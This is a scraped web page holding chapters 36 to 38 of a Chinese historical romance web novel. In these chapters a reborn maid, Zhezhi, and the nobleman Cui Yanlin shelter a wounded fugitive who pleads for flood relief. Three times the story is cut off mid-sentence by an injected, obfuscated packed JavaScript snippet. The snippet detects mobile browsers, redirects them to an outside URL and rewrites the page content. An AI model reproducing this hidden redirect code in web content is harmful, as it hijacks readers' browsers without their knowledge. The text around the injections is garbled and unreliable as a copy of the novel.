崔彦林摸了摸马头上的鬃毛，闻言抬起眼睛往向前边。他向来表情温和，天生和煦，看谁都有种有意无意的笑意。 此刻他正眯着那双笑意似有若无的眼睛，看着他那位哥哥，沉默不语，目光很是悠长。 折枝方才感受到崔彦林身上的瘦骨，心里倒是惊了。 京中世家弟子，珍品佳肴应有尽有，虽时风尚瘦，她却没见过哪家公子哥瘦成他这样的。 并且，她觉得崔彦林看崔彦祺的眼神，并不像看一个兄长的眼神。 36. 她有脸啊 方靖远显然有些吃惊：“你不和他一起回去，那你想什么时候回去？还是说，你还想拿我当幌子挡多久？我说，你家里我又不是没去过，里边到底有些什么令你这样害怕？难不成你家院子里新养了只恶狼，一旦你回去，那恶狼别人也不逮，偏挑着你一个人咬？” 他这位表哥倒是说的不错，崔府里就是有恶狼，并且还是群转盯着他咬的狼。 这群狼，打着为家族着想的借口，私底下密谋着点燃罪孽滔天的火焰，却只想着牺牲他一个人。 或许世上只有一件事是真的，那便是，他生来就是孑然一身，即便活着也不会有任何一个人真正真心为他着想。 崔彦林垂着眸子，低眉不语，良久过后才从嗓子里边挤出一句话：“今夜太晚了，我先去客栈住一晚。明日我会回府，必定不会再让表哥再多忧心。” 折枝觉得崔彦林或许并无世人口中那样受到崔家宠爱，甚至让她感觉到，他和崔家里的人其实并不睦。 她张了张嘴，然后想到自己或许不好多说，便悻悻然闭上了嘴巴。 她本是想着，要不就让她先就停在这里，她想办法回秦家去吧。可转念一想，她若是今夜便能回去秦家，必定又给她惹下一身麻烦。 倒不如先去个客栈先歇上一晚，等休整一顿过后再想想说辞。 “行吧，不过你让我忧心的事情还少……”方靖远又开始滔滔不绝，却看见崔彦林忽然顿下脚步，转头朝马背上看去。 那个头发乱糟糟的小姑娘看起来有话想说，却什么都没有说。 崔彦林一双眼中的眼神如同细水长流，缓缓落在折枝的脸上。 “你有话想说，为什么不问我？” 折枝在马背上，不敢看他灿若明星的眼睛，摸了摸鼻子装模做样地看了看黑云里若隐若现的星星。 在他这样的人面前，她不真诚得像个无慌不说的大骗子。 “奴婢不敢问。” 她没听见那人的答案，只听见耳畔传来一声低低的轻笑，消散在夜风当中。 方靖远和折枝都挺莫名其妙的，都转过头来看崔彦林为什么笑。 他的一双桃花眼狭长而上翘，笑起来眉眼弯弯，像个狡黠的小狐狸。虽然穿着一身素净的衣裳，却愈发衬得他姿容超脱凡人。 方靖远拢了拢自己身上的花里胡哨的袍子，忽然觉得自己今日穿的这身海棠红水纹绫缎的衣裳还是不够艳丽了。 折枝却看愣了，冷不防想到前世她见到的那个守礼自持寡言少语不苟言笑的崔彦林，简直判若两人。 方靖远摸了摸脑袋，才察觉不对劲，仔细打量着折枝身上的衣裳，只发觉用料贵重，顿时有些摸不着头脑：“等等，这位姑娘，我家表弟虽然看起来吓人了些，可却不是个恶霸，你莫要怕他。” “公子说笑了，奴婢是工部尚书秦家的一个小丫鬟罢了，”折枝趁着崔彦林不备翻身下了马，径直往地上一跪，“幸得有崔公子相助，才能安全回了京城，奴婢感激不尽，却不知该如何报答。” 方靖远你你你了半天，最后蹦出一句：“那你身上为什么穿着你是你家小姐的衣服？” 折枝叹了一口气，“此事说来话长，奴婢恳请两位公子借一步说话。” 她身上银钱不多，于是请不起两个少爷去什么丰乐楼这种地方，只是寻了个尚且过得去的茶摊，请他们喝上两盅茶水。 茶水下肚，她便将路上偶遇劫匪，狸猫换太子的事说得大差不差了。 方靖远听罢，挑了挑他那双浓黑的刀锋眉，“如此说来，你倒是个忠心护主的好丫鬟，也不枉我表弟救你一番。只是你为何不早些说，跟着前边秦家的人回去岂不是更好？” 折枝在茶摊之上时总是健谈的。 “崔公子好心一片，可奴婢却不能忘恩负义。” “奴婢若就如此跟着秦家的车马回去了，反倒会给崔公子找了麻烦，实在是奴婢不想的。” “奴婢知道两位公子心善，余生愿意为公子们当牛做马，却不想公子们因奴婢苦陷流言当中……” 她就这样回了，若是被问起是谁搭救的，那么势必牵扯到崔彦林。而一男一女牵扯到一起，众人可不想听什么生死恩仇，只能听到的，只有不离不弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628049|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的爱情故事。 这会污了他的名声。 方靖远思索片刻，便也觉得折枝考虑得周全，又感动得无以复加。他又一向没有脑子，到了最后不知道什么时候被折枝和崔彦林灌了些烈酒，喝得不省人事，吵嚷着要和他们二人当场桃园三结义。 折枝只道稀奇，崔彦林此等人物，竟有如此一个离经叛道的一个表兄。 而前世，她却对这个离经叛道的侯府小世子知之甚少。 只记得最后承爵的不是他。 别人院子里的琐碎，她并不在意。 只是牵扯到了帮过她的人的身上，她便强迫着自己回忆。 方靖远占嫡且占长，上边有一个哥哥，原本是要承袭爵位的，只是带兵打仗死在外边了，于是爵位本来是该他继承的。可后来方靖远还未曾及冠又夭折了，承恩侯府的爵位便由二房的继承了。 也就是当今侯爷的弟弟。 京城富贵之间，也就表面好看，谁家的里子都是乱作一团的，不好分说。 折枝躺在客栈里边，只住了个下等的房间，比她的耳房好上不少，却翻来覆去地睡不着。 她将那拆碎的香囊放在自己的荷包中，放在桌上，用衣服紧紧压着。 脑子里却一遍遍地想崔彦林为何要救她。 按照前世的轨迹，她与崔彦林如今绝不可能相识。 纵使是她改变了一些事情，可也只是让崔彦林提前认识到了她。怎能在路边那样的境地之下，认出是她？ 不，绝不可能是仓促遇见她，反倒是像早有预料。 他又是如何能预料到的呢？ 救下她又究竟有什么企图呢？ 难不成想让她感恩戴德，为他所用？ 折枝想了想，即使真是如此，以她现在的身份，能让崔彦林利用的地方实在是太少了。 她将手枕在身下，眼睛遥遥望着窗棂外边的繁星，想起那双她不敢看的眼睛，又想起他笑时那动人的美貌。 折枝的一只手不知何时已经附上自己的脸颊。 对了，她虽然身无分文，但她有脸啊。 37. 逃犯 觥筹交错之间，秦佩邀请了好几回冯铭喝些家中自己酿的酒，冯铭盛情难却。俊脸喝得脸上泛起了红晕。 秦佩看着也十分高兴，脸上红光焕发，一双眼睛望着宋姨娘，十分欣慰。 “冯贤侄见笑了。之前贱内多回说起让我哪日休沐，一定要请你来家中吃酒，可惜一直未曾找到合适的时机，想不到今日你来，早知就多备下几坛美酒。” “今日备下好酒好菜，不仅是为夫人和月儿接风，更是要告诉大家一个好消息。” 他转过头看向宋姨娘：“棠儿，你来说吧。” 宋姨娘撩了撩头发，摸上了自己的肚子，有荣与焉。又像是特地在李氏面前炫耀似的，她那双泫然欲泣的眼睛在李氏的脸上停留了好几瞬。 “妾身前几日身体不适，请了郎中来府里看，说是妾身已经有了一月有余的身孕了呢。” 一月有余，算算日子，应该是还未曾进府内就已经珠胎暗结了。 李氏手中执箸的手一顿，另一只手垂在桌子底下拍了拍秦明月极力颤抖的身体，不动声色， “哦？是吗？”李氏眼里含着笑：“是我福薄，不能为老爷再添个一儿半女，这么多年，明月也没个什么兄弟姐妹，孤单的很……若是宋妹妹能给明月寻个伴儿，那便是最好了。” “只是……”李氏话音一落，“妹妹或许是未曾生养过，到底是不懂这其中的。” “像这样未满三月的胎儿，还未坐稳，最好是要等坐稳了再告知众人……” 否则肚中孩儿闹脾气，能不能留得住，便是另一种说法了。 宋姨娘脸上的笑容僵住，也没了食欲，便放了筷子，将手往身边跟着的婢女雨禾身上一搭，支起身子起来了。 她苍白着俏脸朝秦佩露出一个笑，福了福身：“想来是在门口等夫人回来，等得太久……妾身子有些不大舒坦，便先回去了。” 秦佩正和冯铭喝酒喝的正酣，摆了摆手先让她走了，旋即想起她身上有了，便又转头叮嘱她：“既然身子不舒坦，那就不用强撑着。” 接着他又看向宋姨娘身边新换上的的雨禾，明显上了心：“你回去记得看着你家姨娘，万万不能吃些生冷难消化的，切莫贪凉。你……”秦佩打量了好一会儿这个婢女，只觉得在哪里见过，却如何都想不起来，“从前不是你在姨娘跟前伺候的，新来的？” 雨禾怯懦低下头，答道：“回老爷的话，奴婢与姨娘同是江州人，故而得了姨娘青睐，近些日子才来姨娘身边伺候。” 李氏幽幽为秦佩夹菜，“宋妹妹即将为人母，思乡之情无处宣泄，身边能有个知冷知热的人也是好的。” 宋氏走后不久，秦明月也在桌子底下轻轻扯了扯李氏的衣袖，表示自己也想先回屋里去了。 李氏在桌下抓了一把秦明月的手，忽地两只手都腾空。她手里端着一杯清酒，笑意盈盈看向冯铭：“冯贤侄难得来一回，不如今夜便在府上住下吧。你母亲那边，我自会让人去通传一声，不必挂念。” 冯铭执意要走，李氏和秦佩几次劝阻，却都并未劝住他。 秦佩喝得不省人事，便让李氏和秦明月去送一送冯铭。 毕竟冯铭这个女婿，是由他拍板定下的。做父亲的，可以容忍自己人品不端，却希望自己的女儿能够有个好的归宿，秦佩便是如此。 一番择婿过后，他便看中了这个品行高洁、家世却又不显赫好任他拿捏的冯铭，又知道他近来得了天子青眼，便对他更是满意了。 如此良婿，秦佩说什么也不肯放手。 婚姻之事，向来是父母之命，媒妁之言。 李氏知道自己已经到了无法挽救的地步，便想着让女儿自己多多了解一下这个冯铭到底如何，于是便同意了折枝说的多给他们二人创造机会。 只是她并不知道这是折枝为自己找的一条退路罢了。 灯火通明，还未到宵禁，外边还热闹得紧。 隔壁坊间有户人家娶了新妇，到了这个时候人群都还未散去，几条羊肠小道上仍旧有那么几群人来来往往。 李氏也喝了些酒，扶着脑袋，看着也有些不胜酒力，便故意给秦明月和冯铭留了些独处的机会。 秦明月不看冯铭，一双眼睛左右扫视，最后不情不愿地对冯铭说了声：“冯公子，我家这回招待不周，下回一定盛宴相请，请你务必赏脸。” 冯铭的眼睛也没看着她，他侧身从袖中取出来了一方发钗，正是秦明月平日里最喜欢的的那只金海棠珠花步摇。 虽说知道了秦父的喜爱海棠之事或有偏私，可秦明月还是改变不了自己的喜好。 特别是这只步摇，是母亲送的，她并不想因为父亲的是迁怒于此。 冯铭顿了顿，清朗的声音响在秦明月耳边：“冯某无意唐突姑娘，只是在路上无意捡到。害怕在众人面前私相授受对姑娘不好，便只能留下单独还与姑娘了。” 秦明月有些发愣地接过步摇，却想起她走之前和高雀曾经彻夜长谈。 高雀说她同她之前一样，识人不清。 她原来那个朋友并非是善类，而她信赖的表兄表妹，也处处坑害于她，只是她不知情罢了。 就连她的父亲，同样瞒着母亲和她，养了外室，甚至还和外室有了孩子。 那日草长莺飞，秦明月纵马踏坏了地里的麦苗。高雀很是心疼，当晚就捧了一把麦子在秦明月身前，让她猜种下这些麦子要多久。 秦明月满不在乎：“本小姐坐拥万贯家财，何须在乎这些细枝末节，与我有甚么关系？” 高雀整愣了一瞬间，想起同折枝谈话，她总有意无意之间谈起秦父秦母如今生了龃龉，又听说秦家现在那位，或许身上有了。 一连好几天日日请了郎中上门，房里又一直不肯透露生了什么病，很难不让人多想了去。 高雀问她：“如果某一天，你不再是秦家唯一的小姐，也没了万贯家财呢？” 秦明月皱了皱眉：“不会有那么一天的。” 高雀点了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667522|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头：“那我知道了。” 秦明月问她她们是不是朋友，从这句话开始，就有了答案。 她教秦明月如何去探别人的真心：“小姐只需去问别人，若有一天，你不再是秦家的大小姐，一无所有，她还会如此恭敬待你吗？” “眼睛最能看出一个人心中是否有鬼，她若眼神闪躲，不敢看你，便是心虚。若是眼神过盛，灼灼不息，便是装假。真心待你的人，看你的眼神应是如水澄澈，问心无愧，便不怕看出是假的。” 秦明月看着冯铭：“那如果我有一天，我不再是秦家那尊贵的大小姐了呢？” 冯铭被她问得一愣，心中虽然好奇，不过思索片刻还是回答了她，俊秀的脸上染上一抹可疑的薄红。 “咳咳。秦小姐，无论什么时候，你都会是冯某心中唯一的秦小姐……冯某自知资质浅薄，配不上秦小姐，故而……” “冯某不敢贪图这些，只想……秦小姐能够施舍冯某一个眼神便好了。” 少年初道心意，脸红得跟街上挂着的红灯笼似的。 秦明月看不清他脸的轮廓，只感觉他眼睛很亮，刺得自己眼睛也有些发酸。 烟火绽于天际，折枝翻身下了床，走上前边阖上了窗子，阖上窗子不久，便听见外边有叩门的声音。 “是谁？” 折枝心上防备，拿起了长桌上的一个瓷瓶。 外边的声音变得弱了些，叩门的声音渐渐无了。 她便不再放在心上，确认房门锁好了，理了理脑中的思绪便沉沉睡去了。 次日清晨，便听说了昨夜官兵追着一个匪寇经过了客栈，今日便贴上了告示，想要全城缉拿那匪寇。 折枝心中暗自松了口气，心道幸好没有给那叩门的人随意开门。 她起了身，先去找崔彦林告辞。 虽不再想和他们打交道，可毕竟救命之恩，不能不报，再如何有个交待也算好。 折枝将手放在门前，踌躇着想要敲门，却见到刚好预备出门的方靖远。 身后的崔彦林站在床前，见到折枝眼睛微微一亮。 方靖远嘿了一声：“你来得正巧了，正愁找不到人去找郎中呢……” 话未说完，他自己先拍了拍嘴巴，“哎呀，昨夜喝酒喝的太多了，头疼欲裂……最好向郎中去讨个什么醒酒汤和解热的药方喝喝，哎呀……我是去不了了，折枝，要不你去帮我请个郎中吧？” 看着事情不妙，折枝准备拔腿就走。 早知如此，她就应该不来告辞，省的给自己惹上一身腥臊。 她是庆幸自己没有给匪寇开门，怎么知道崔彦林和方靖远这两个混不吝的臭小子给官府通缉的逃犯给救下了？ 真是胆大妄为！ 那能如何？ 毕竟别人家中有父兄担保，不会出事，可她折枝只不过是一个贱奴，帮了他们，谁又来帮她呢？ 崔彦林看出折枝想走，只是叹了口气：“姑娘，如今你想走，也迟了。” 38. 算计 说话间，方靖远身形一闪关上了门，推搡着折枝进来了。 “折枝啊，本少爷知道你是个知恩图报的，也不要站在外边了……咱们进来说，进来说……” 她方才下了楼喝茶，听说这个匪寇擅自入京，惊扰了贵人，所以才被缉拿。 城门处查通关文牒如此严苛，怎会轻易放了这种人进来？ 只怕是有人故意纵了这个匪寇进了城吧。 崔彦林解释道：“昨夜这人翻窗进了表哥的房里，他又喝得不省人事，次日我才发现，想送走却已经难了。” 那榻上的那黑衣匪寇气息微弱，蒙住了面目，看起来身上沾有血迹，隐没在墨色的夜行衣当中，是受了伤，已经混睡过去了。 “我今晨过来找表哥，听见小二说，昨夜有人闯进了公主府。长公主震怒，便去了金銮殿请求圣上彻查，要求皇城司的人务必在三日之内抓住此人。只要活口。” 方靖远也顿时觉得有些头皮发麻：“得罪谁不好，竟然得罪长公主。整个盛京谁不知道长公主是个睚眦必报的疯女人……” 崔彦林淡淡看了方靖远一眼，他立马噤了声。 什么话该说，什么话不该说，身处高位的人，心里应该都要有杆称。 崔彦林不是公主党的人，怪不得要私藏这个匪寇，好让公主拿不住他。 折枝心下揣测。 她往前探了几步，一把揭开那匪寇的面巾，想看看有没有关于这个人上一世的记忆，便可以得知这人到底是皇党还是贵妃党的人。 她一扯，便愣在了原地，有股寒气从脚底瞬间传上了头顶。 正是昨日放她走的周云。 他嘴唇极白，起了裂口，脸上更是没了血色。眉头皱得很紧，眼也闭着，似乎是在忍耐极大的痛苦。 “折枝，难道你认识他？” 折枝倒退了好几步，强迫自己冷静下来，才讪讪笑着回答了方靖远：“奴婢怎么可能认识这种人呢？” 她不知该是夸赞命运无常还是背后设计之人筹谋实在缜密，竟连她也算计进去了。 崔彦林站在一旁，垂着眼从那个匪寇身上翻翻找找，最后从他身上翻出一包药粉，他捻过一些放在鼻尖，闻了半晌却没有闻出什么来。 他有些无奈，摆了摆手，“崔某不通医理，不知道这究竟是不是毒药，若是伤药，那便可以先给这位壮士先上药留下他的一条命再做打算。请来郎中，也不能保证他究竟会不会因此出卖我等，如若有失，我与表哥还有姑娘恐怕都不得善终。” 崔彦林这厮，从前从不会一口一个表哥，只在外人面前装腔罢了。 方靖远冷哼一声，却又觉得他说得有道理，他按了按突突跳的额角，沉声道：“哪个逃犯会随身携带伤药，知道自己必定受伤？” 折枝没有说话，只是冷着脸从崔彦林手上要来那包药粉，细细查看起来。 她一生受过的伤太多了，有时久病也成医，伤药敷过无数次，什么味道、样子，她一看便知。 松香悠悠，辅之以樟脑、儿茶、黄蜡、麝香……这手中的，的的确确是金疮药。 折枝顿了顿，又将药粉递回去了：“两位公子，此药，是金疮药，可敷与伤口之上，养肉生肌。” 连环套下，让她不得不救下周云。 背后的主谋，会是崔彦林吗？ 别无他选。 这局做得太明显，甚至并无其他人可以怀疑，却又全无证据，只能凭借推测。 崔彦林幽深的眼睛直直看着折枝伸过来的手，看到上边长的冻疮痕迹，年复一年，总没有好的时候，又干又枯，丝毫没有美感。 沉默片刻，崔彦林叹了口气：“姑娘，崔某从未给别人上过药，不知分寸，不如你给壮士上药吧。” 方靖远也急忙摆手，避之不及：“别……别看我嗷，我也没干过啊！” 晨露未晞，透过窗边往里边慢慢折射。 这家客栈靠近护城河，开窗便可看见波光粼粼的盛京江景。 两个少年将周云移到了窗边，折枝也并不在意什么男女大防，只是抽出了根锐利的发钗便刺破周云的衣服，刺啦一声，周云便露出了一大片肌肤。 胸膛前有条长长的伤疤，往外边冒着血。 折枝往伤口上敷了点药粉，沉吟片刻，让崔彦林和方靖远去将罗汉床边的帐纱扯破，围在周云的身上，替他包扎。 一时半会，抽不开身。 她敷着药，额间冷汗频频，疯狂想着自己要怎样独善其身。 照着如今这个场面，只能等着他醒过来了才能离开。 还有……她想起方靖远方才说的话……其实她一开始从未如此想过，只是因为他的话，让她惊然发觉——周云知道自己将会受伤，便为自己带上了伤药？ 那么，他究竟为何要夜闯公主府呢？ 折枝想到他放自己离开的时候那希冀的目光，是希望有人能够上达天听帮助自己的。只不过短短几个时辰，他究竟遇见了谁，比工部尚书还能够说动他做出此番事迹，又确信自己一定能够得偿夙愿呢？ 又是谁一箭双雕想要拉长公主下水？ 折枝上完药，又给周云喂了些水。 几人相顾无言，一直等着周云醒来。 半个时辰过后，周云终于悠悠转醒，看见眼前三人，惊诧不已，想要起身，发现自己身上的伤已然被包扎过了，感激不已。 他认出了折枝，却也没有声张，知道是折枝救了他。 崔彦林首先打破沉默：“你为何昨夜偏偏挑中了我表哥的房间，是谁派你来的？” 发出此问，莫非崔彦林并非知道周云可能是自己的同党？ 这倒是不一定。 周云扯了扯干涩的嘴角，虽然已经被水润过，却还是干涸至极：“公子……小的没有办法了……小的知道，京城里长公主权势最大，只能找上长公主了。小的本不想牵扯公子们的，只是想找到一处藏身，便摸着寻到了这位公子的居处……如若给公子们带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690899|142436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了麻烦，只请公子们将小的交出去便够了。” 方靖远捏了捏拳头：“你说得倒是轻巧！这京城里边处处都是官宦人家，哪个不是官宦子弟？收留了你这个逃犯便是犯了窝藏大罪，官场上盘根错节，谁经得起你这一藏身！” “你知不知道……你知不知道你这样给人带来了多大麻烦！” 周云叹了口气：“小的也是别无他选了，若我不进来，怕是昨夜便会被追兵抓住。” 周云知道此时说什么都没用，便讲起自己家乡和同他一起来的兄弟们。 “扬州……洪涝不止，从去岁春三月至今年，雨水绵延。到了今年三月，更是水淹至足底，堤坝无用，沟渠无用，稻苗全都被淹死，颗粒无收。家家户户的粮仓里也都生了青芽，储存不得……” “我与同乡八十读书人联名向知州上书，请知州上报朝廷派发赈灾粮……去岁等到今年……竟然连一封诏书都没有等来过。” 八尺的男儿落泪，将黑峻峻的脸熏得更黑。 “水灾过后，又是瘟疫！又是苛税！我们乡里百户人家，如今剩下的屈指可数，堤坝在哪里？巡抚又在哪里？” “老弱妇孺不能伸张，就连我们这样的男儿都不为我们搏一搏生路？还能有谁能为我们搏一搏？” “我面见长公主，只是想要公主借着恩宠去与圣上提上哪怕一嘴，草民也算全了心愿，不枉跑这一遭了！” 他说得声泪俱下，浑身战栗起来。 崔彦林眼里却迸发了几丝怒火，死死盯着他，一反平常温文尔雅的姿态，沉着声音又问一遍。 “是谁派你来的？” “想借此诋毁长公主声誉吗？” “长公主天家血脉，处事最是公平公正，盛京无人不知无人不晓，你若真的为了沉冤，又怎会惹得公主震怒？” 崔彦林似乎十分生气，说到后边，就连方靖远也赶紧拉住了他不在让他说话。 毕竟在他看来，长公主荒淫无道，喜怒无常，崔彦林也是气急了才会胡说。 或许是怕自己被牵连到了吧。 “想来你也是个苦命人……不过，当务之急，是你应该如何离开！不能走本公子的客房的正门，不然本公子怕是白救你一场了！” 折枝站在一旁，不置可否。 她不知道崔彦林话里究竟有几分真假，只是看着怒气不像是装的，难不成他也被别人设计了吗？ 她垂着的手不动声色地敲在自己的两侧，敛下的眸子看不出神色。 至少前世崔彦林并非是公主的人……只是他向来缜密，怎么会轻易被人算计？ 不知怎的，她想起他似乎也并不是每回都算无遗策，虽然在党派之争上边，是崔家赢了……也不对，至少……他崔彦林曾经被别人算计过一回。 那一回他竟还觉得对方有几分真心，便觉得世上并非是只有对他说假话之人。 让他以为，同是天涯沦落人，相逢何必曾相识，起了想要帮她一把的心思。